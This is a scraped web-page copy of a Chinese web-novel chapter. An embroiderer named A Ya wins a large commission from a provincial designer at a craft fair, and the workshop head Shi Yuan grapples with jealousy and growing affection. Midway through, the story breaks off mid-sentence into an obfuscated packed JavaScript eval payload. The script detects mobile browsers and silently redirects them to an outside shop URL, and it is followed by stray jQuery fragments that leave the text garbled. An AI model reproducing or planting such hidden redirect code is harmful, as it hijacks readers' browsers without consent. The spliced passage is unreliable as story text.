默认冷灰
24号文字
方正启体

34. 展览会上的阿雅

作者:随遇而安的小五本书字数:K更新时间:
    展览会第二天,人流量比头一天还大。


    云渺寨的摊位前,阿雅那幅《廊桥月夜》的位置空着——已经卖掉了。石远换上了《山间晨雾》系列的三幅绣片:晨雾初起时的朦胧,雾散半山时的层次,阳光穿透雾气时的金光。


    三幅并排,像一组连续的画面。


    “这得看多久才能绣出来啊。”隔壁土家织锦摊位的阿姨凑过来看,啧啧称奇,“雾气的渐变最难处理,你这颜色过渡太自然了。”


    阿雅正在整理带来的丝线样品,闻言抬起头,腼腆地笑了笑。


    上午十点多,摊位前来了个特别的人。


    是个四十岁左右的女人,短发,穿一件裁剪利落的深灰色棉麻长衫,脖子上挂着一串看不出材质的素色珠子。她在《山间晨雾》前站了很久,久到小禾都忍不住要开口招呼时,她才转身。


    “请问,这几幅作品的作者在吗?”


    声音很平和,但有种不容忽视的专业感。


    阿雅站起身,轻轻点头。


    女人打量了她几秒,眼神锐利但不让人难受:“我是省工艺美术协会的,也做独立设计师。姓周。”


    她从随身包里拿出一张名片,递给阿雅,又看向石远:“这几幅作品的创作理念是什么?我想听听作者的解读。”


    阿雅的手几不可察地抖了一下。她拿起手写板——这是石远昨天收摊后特意去县城文具店买的,比本子更方便交流。


    笔尖悬在板子上,却迟迟没有落下。


    石远看见她指尖发白,轻声说:“慢慢来。你比谁都懂你的作品。”


    阿雅深吸一口气,开始写:


    “这不是雾,是山的呼吸。”


    周设计师挑眉,示意她继续。


    “清晨,山会吐气。先是薄薄一层,贴着地面;然后升起来,裹住半山腰的树;最后太阳出来,气就散了,变成露水。”


    阿雅写字的速度渐渐快起来:


    “我用了七种白色。月白、鱼肚白、雪白、珍珠白……还有三种自己调的,在丝线里捻进一点点灰蓝和淡紫。”


    “针法是乱的,但乱中有序。雾没有形状,所以不能绣得太规整。”


    她写完这些,抬头看周设计师。


    周设计师没有说话,而是从包里掏出一个放大镜,凑近绣面仔细看。放大镜下,那些看似随意的针脚呈现出惊人的秩序感——每一针的长度、角度、松紧,都经过精确计算,才能营造出这种“有序的凌乱”。


    “这里,”周设计师指着雾散半山那幅的中段,“你用了两种不同捻向的丝线混绣,为什么?”


    阿雅眼睛亮了。她快速写:


    “因为这时候雾在流动。顺捻的线反光强,像雾在散开;逆捻的线吸光,像还没散尽的雾气。混在一起,就有动感。”


    周设计师直起身,眼里有了赞赏的光:“你学过光学?”


    阿雅摇头,写:“看出来的。每天早晨都看。”


    “所以你是用自己的眼睛代替了仪器。”周设计师感慨,“这才是最难的部分。机器可以分析光谱,但分析不出‘山的呼吸’。”


    她沉吟片刻,问:“这个系列还有更多作品吗?或者说,可以定制同主题的吗?”


    阿雅看向石远。石远立刻说:“可以定制,但需要时间。一幅这样的绣品,阿雅要绣二十到三十天。”


    “我要五幅。”周设计师说得很干脆,“尺寸可以比这小一点,但工艺必须和这三幅一样。主题可以是山间晨雾的不同时刻——破晓前、日出时、正午雾散尽、傍晚雾气再起、月下雾海。”


    她顿了顿:“每幅我出八百。预付三成定金。”


    周围忽然安静了。


    小禾瞪大眼睛,手指在桌子底下偷偷掐自己。隔壁几个摊位的参展商都看了过来——八百一幅,五幅就是四千。在这个人均月收入不过千把块的县城,这是天文数字。


    阿雅的手又抖了,这次是激动的。


    石远稳住心神,问:“周老师,您要这么多幅是……”


    “我接了一个高端民宿的项目,在丽江。”周设计师坦言,“他们需要一批有灵魂的装饰艺术品。我看过太多匠气的东西,你这几幅不一样——有技术,有观察,最重要的是,有感情。”


    她看向阿雅:“你能做吗?”


    阿雅用力点头,然后在手写板上写:


    “但我需要时间。五幅,可能要四个月。”


    “可以等。”周设计师说,“好东西值得等。”


    她当场签了简易合同,数了一千二百元定金,又仔细包走了那三幅展品样片:“这些我先带回去给客户看。剩下的五幅,你按自己的节奏绣,我不催。”


    周设计师走后,摊位上好一阵没人说话。


    最后还是隔壁卖竹编的大叔先开口:“阿妹,厉害啊!省城的大设计师都看上你的东西了!”


    这一声打破了安静,周围的参展商都围了过来。有打听价格的,有问要不要招学徒的,有想合作的。石远一一应付,小禾收定金收得手软——除了周设计师的订单,又有几个散客订了小件。


    阿雅坐在凳子上,看着手写板上还没擦掉的那行字:“这不是雾,是山的呼吸。”


    她忽然觉得,那些在山里看了二十八年的早晨,那些被认为“没用”的时光,原来都变成了针尖上的颜色,布面上的光影。


    “阿雅姐,”小禾凑过来,眼睛亮晶晶的,“你成咱们工坊的顶梁柱了!”


    阿雅摇头,写:“是大家一起做的。”


    “但花样是你设计的,针法是你研究的。”石远轻声说,“阿雅,你得承认,有些东西别人替代不了。”


    他说这话时,心里那点复杂的情绪又翻涌起来。昨天是骄傲,今天却多了些别的——是意识到阿雅的才华远不止于此的震撼,是预感到她终将飞得更高的不安,也是某种隐秘的、不愿承认的嫉妒。


    嫉妒什么?嫉妒她的天赋?嫉妒那些山雾在她眼中有了生命?还是嫉妒她即将拥有他无法完全参与的、属于她自己的世界?


    “石远哥?”小禾碰碰他,“发什么呆呢?该吃午饭了。”


    石远回过神,挤出笑容:“我去买饭,你们想吃什么?”


    “糯米饭!”小禾说,“阿雅姐喜欢吃糯米饭。”


    阿雅点头,在手写板上写:“要加脆哨。”


    “好。”


    石远穿过熙攘的人群去买饭。一路上,听见不少人在议论云渺寨的摊位。


    “那个不会说话的绣娘,手艺真绝。”


    “听说省城的设计师花大价钱订了她的东西。”


    “苗绣我见得多了,她那个不一样……”


    石远心里五味杂陈。他应该高兴的——工坊有了稳定的大订单,阿雅找到了价值,云渺寨的名声打出去了。这些都是他最初想实现的目标。


    可为什么,心口像堵了团湿棉花?


    买饭回来时,看见阿雅正在教一个年轻女孩辨认丝线颜色。她耐心地指着色卡,又指向绣品上的对应位置,手指在光线下比划着角度。


    阳光从展棚的缝隙漏下来,正好落在她侧脸上。她专注的样子,让周围嘈杂的人声都像隔了一层玻璃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846709|191383||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    石远站在几步外,看了很久。


    直到小禾发现他:“远哥!饭买回来啦?”


    阿雅抬起头,看见他,露出一个浅浅的、带着疲惫但满足的笑容。


    那一刻,石远忽然明白了自己那点情绪的源头。


    他怕。


    怕阿雅的光芒太盛,盛到他再也无法以“赎罪者”或“帮助者”的身份站在她身边。怕她越飞越高,高到他踮起脚也够不着。怕有一天,她不再需要这个曾伤害过她、又试图弥补的人。


    “快吃吧,凉了。”他把饭盒递过去,声音比平时低。


    下午,摊位前依然热闹。周设计师来过的消息像长了翅膀,引来更多好奇的顾客。有人是真心欣赏,有人是凑热闹,也有人想探探虚实。


    阿雅渐渐适应了这种节奏。她不再紧张得手抖,而是能从容地用手写板回答问题。有人问太幼稚的问题,她就笑笑不答;有人问到点子上,她会写很长一段。


    石远注意到,她在回答专业问题时,眼睛里有种他从未见过的光彩——那是种知道自己被理解、被尊重的光彩。


    收摊前,周设计师又来了。这次她带了个年轻人,说是她的助理。


    “小杨会跟你们保持联系。”周设计师说,“另外,年底省里有个工艺美术新人展,我觉得你可以送作品参加。”


    她拿出一张宣传页:“这是征稿通知。我看过很多年轻手艺人的作品,缺的不是技术,是灵气。你有灵气,该让更多人看到。”


    阿雅接过宣传页,手指摩挲着纸张。她抬头看周设计师,又看看石远,眼神里有询问。


    石远说:“想去就去。工坊支持你。”


    周设计师笑了:“你们这工坊有意思。一般这种小作坊,都巴不得把摇钱树藏起来,生怕出了名就飞了。你们倒大方。”


    石远也笑,笑容里有些苦味:“树总要长大。硬关在笼子里,长不成材。”


    回寨子的路上,夕阳如血。


    阿雅一直看着窗外,手里捏着那张征稿通知。小禾在副驾驶座上睡着了,头一点一点的。


    “累吗?”石远轻声问。


    阿雅摇头,在手写板上写:“像做梦。”


    “不是梦。”石远说,“是你的本事换来的。”


    阿雅沉默了一会儿,写:


    “如果没有工坊,没有你带我来……”


    “还是会有人发现你。”石远打断她,“是金子总会发光。我们只是……把灰尘擦掉了些。”


    这话说得他自己心里发涩。


    阿雅转头看他。暮色里,她的眼睛很亮,像藏着星星。


    她写:


    “谢谢你擦灰尘。”


    然后,在石远还没反应过来时,她伸出手,很轻、很快地,碰了碰他的手背。


    像蝴蝶停留一秒,又飞走。


    石远整个人僵住了。手背上那个触碰的地方,烫得像要烧起来。


    阿雅已经转回头去,继续看窗外飞逝的山影。但石远看见,她的耳尖红了。


    车厢里安静下来,只有发动机的轰鸣和阿亮偶尔哼走调的山歌。


    石远看着自己的手背,又看看阿雅在暮色中朦胧的侧影。


    忽然觉得,那些怕,好像也没那么重要了。


    重要的是此刻,她在这里,在他触手可及的地方。


    重要的是,她伸出手,碰了他。


    至于未来她会飞多高、走多远——


    那是未来的事。


    而现在,暮色温柔,山路蜿蜒,她坐在他身边。


    就够了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)